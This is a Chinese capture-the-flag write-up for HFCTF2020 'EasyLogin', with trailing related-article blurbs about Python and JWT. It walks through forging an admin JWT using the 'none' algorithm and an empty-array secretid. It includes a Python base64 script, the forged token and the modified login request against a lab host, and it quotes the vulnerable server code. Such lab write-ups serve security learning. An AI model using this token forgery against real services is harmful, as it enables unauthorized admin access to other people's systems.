[HFCTF2020]EasyLogin-1|JWT身份伪造

1、打开之后只有一个登陆界面和注册界面,右键检查发现app.js代码,结果如下:

app.js代码如下:

/**
* 或许该用 koa-static 来处理静态文件
* 路径该怎么配置?不管了先填个根目录XD
*/ function login() {
const username = $("#username").val();
const password = $("#password").val();
const token = sessionStorage.getItem("token");
$.post("/api/login", {username, password, authorization:token})
.done(function(data) {
const {status} = data;
if(status) {
document.location = "/home";
}
})
.fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
} function register() {
const username = $("#username").val();
const password = $("#password").val();
$.post("/api/register", {username, password})
.done(function(data) {
const { token } = data;
sessionStorage.setItem('token', token);
document.location = "/login";
})
.fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
} function logout() {
$.get('/api/logout').done(function(data) {
const {status} = data;
if(status) {
document.location = '/login';
}
});
} function getflag() {
$.get('/api/flag').done(function(data) {
const {flag} = data;
$("#username").val(flag);
}).fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
}

2、那就注册一个账户进行登录然后尝试获取flag值,但是显示权限不允许,结果如下:

3、看到显示了用户名,考虑了下是否是二次注入,经过尝试这里好像并没有什么用,但是在测试时发现admin账户无法注册,加上上面的提示权限不允许,想到这里可能是要我们获取admin权限之后才能获取flag,那就抓取登录的数据包进行分析,发现存在jwt信息,然后就想到了jwt信息伪造,结果如下:

POST /api/login HTTP/1.1
Host: b41e6a34-cf6a-4c47-9683-6e39216e64b9.node4.buuoj.cn:81
Content-Length: 208
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://b41e6a34-cf6a-4c47-9683-6e39216e64b9.node4.buuoj.cn:81
Referer: http://b41e6a34-cf6a-4c47-9683-6e39216e64b9.node4.buuoj.cn:81/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: sses:aok=eyJ1c2VybmFtZSI6bnVsbCwiX2V4cGlyZSI6MTY2MDk4NTM3MzUxMywiX21heEFnZSI6ODY0MDAwMDB9; sses:aok.sig=AFfZU1lVSsYbRn_pR5t69AAy1Ts
Connection: close username=123&password=123&authorization=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZWNyZXRpZCI6NCwidXNlcm5hbWUiOiIxMjMiLCJwYXNzd29yZCI6IjEyMyIsImlhdCI6MTY2MDg5NTk3M30.jpELP7_BnqquU2OVt-8nL442wcPDmHbtWP8J6jOjKEo

jwt信息格式:前两部分均是base64加密,第三部分加密方式为第一部分声明的加密算法结合密匙进行加密,解密地址:https://jwt.io/,jwt解密信息如下:

4、然后就想着获取密匙,但是未成功,后来在网上看到:当加密时使用的是 none 方法,验证时只要密钥处为 undefined 或者空之类的,即便后面的算法指名为 HS256,验证也还是按照 none 来验证通过,那这样的话我们就可以直接伪造jwt的信息了,对header和payload部分信息分别进行修改和加密,然后拼接加密后的字符串(注意删掉填充符=),结果如下:

import base64

a = '{"alg":"none","typ":"JWT"}'
b = '{"secretid":[],"username":"admin","password":"123","iat":1660895973}'
print(base64.b64encode(a.encode('utf-8')))
print(base64.b64encode(b.encode('utf-8')))

所以最终的jwt信息为:eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMyIsImlhdCI6MTY2MDg5NTk3M30.

5、抓取登陆的数据包,修改登录的用户名和jwt信息,数据包如下:

POST /api/login HTTP/1.1
Host: b41e6a34-cf6a-4c47-9683-6e39216e64b9.node4.buuoj.cn:81
Content-Length: 208
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://b41e6a34-cf6a-4c47-9683-6e39216e64b9.node4.buuoj.cn:81
Referer: http://b41e6a34-cf6a-4c47-9683-6e39216e64b9.node4.buuoj.cn:81/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: sses:aok=eyJ1c2VybmFtZSI6bnVsbCwiX2V4cGlyZSI6MTY2MDk4NjE3MTMxNywiX21heEFnZSI6ODY0MDAwMDB9; sses:aok.sig=F8g5EE9X5Vc_jFjbIBcg6HA-kpI
Connection: close username=admin&password=123&authorization=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMyIsImlhdCI6MTY2MDg5NTk3M30.

6、然后想着点击获取flag就可以获取到flag值了,但是发现通过admin进入之后,这个按钮点击并没有反应,因此只能直接访问/api/flag(在app.js代码中发现的),最终成功获取到flag值,结果如下:

7、后面在网上查看时发现都是访问了controllers下的api.js找到主要逻辑代码,然后才进行的jwt身份伪造,我这也算是误打误撞,还是看了下api.js的内容,结果如下:

const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken') const APIError = require('../rest').APIError; module.exports = {
'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body; if(!username || username === 'admin'){
throw new APIError('register error', 'wrong username');
} if(global.secrets.length > 100000) {
global.secrets = [];
} const secret = crypto.randomBytes(18).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret) const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'}); ctx.rest({
token: token
}); await next();
}, 'POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body; if(!username || !password) {
throw new APIError('login error', 'username or password is necessary');
} const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization; const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid; console.log(sid) if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
} const secret = global.secrets[sid]; const user = jwt.verify(token, secret, {algorithm: 'HS256'}); const status = username === user.username && password === user.password; if(status) {
ctx.session.username = username;
} ctx.rest({
status
}); await next();
}, 'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
} const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
}); await next();
}, 'GET /api/logout': async (ctx, next) => {
ctx.session.username = null;
ctx.rest({
status: true
})
await next();
}
};

主要就是这里,对登录的用户名进行了判断,只有用户名是admin时才可以读取flag:

'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
} const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
}); await next();
},

[HFCTF2020]EasyLogin-1|JWT身份伪造的相关教程结束。

相关推荐:

Python身份运算符是什么_is与==的区别及内存地址比较

is判断对象是否为同一内存地址,用于None/单例等恒等性比较;==比较值相等,依赖__eq__方法,适用于常规数据比对。 is判断的是不是同一个对象 Python中is不是比较值,而是检查两个变量是否指向**同一块内存地址**。这在判断单例、None、小整数或短字符串时特别关键——因为它们可能被缓...

Python JWT Token 的刷新机制

refresh_token通常不是标准jwt,可能是opaquetoken、对称加密串或数据库记录,直接pyjwt解码易报错;需先确认其格式与签名方式,否则应调用后端刷新接口。 refresh_token为什么不能直接用PyJWT解码验证? 因为refresh_token通常不走标准JWT签名验证流...

Python JWT 的 RS256 vs HS256 生产选型

rs256与hs256的本质区别在于:rs256是非对称签名(私钥签名、公钥验证),hs256是对称签名(同一密钥签名与验证),这决定了密钥管理、分发方式及系统部署架构。 RS256和HS256的本质区别在哪 核心就一点:RS256是非对称签名(私钥签、公钥验),HS256是对称签名(同一个密钥既签...

Python 中对象身份与对象值的区别

对象身份指内存唯一地址,用id()查看;对象值指数据内容,用==判断。is比较身份,仅适用于None等单例;==比较值,适用于大多数相等性判断,不应依赖小整数或字符串的缓存行为。 在Python中,对象身份(identity)和对象值(value)是两个根本不同的概念:身份指对象在内存中的唯一地址,...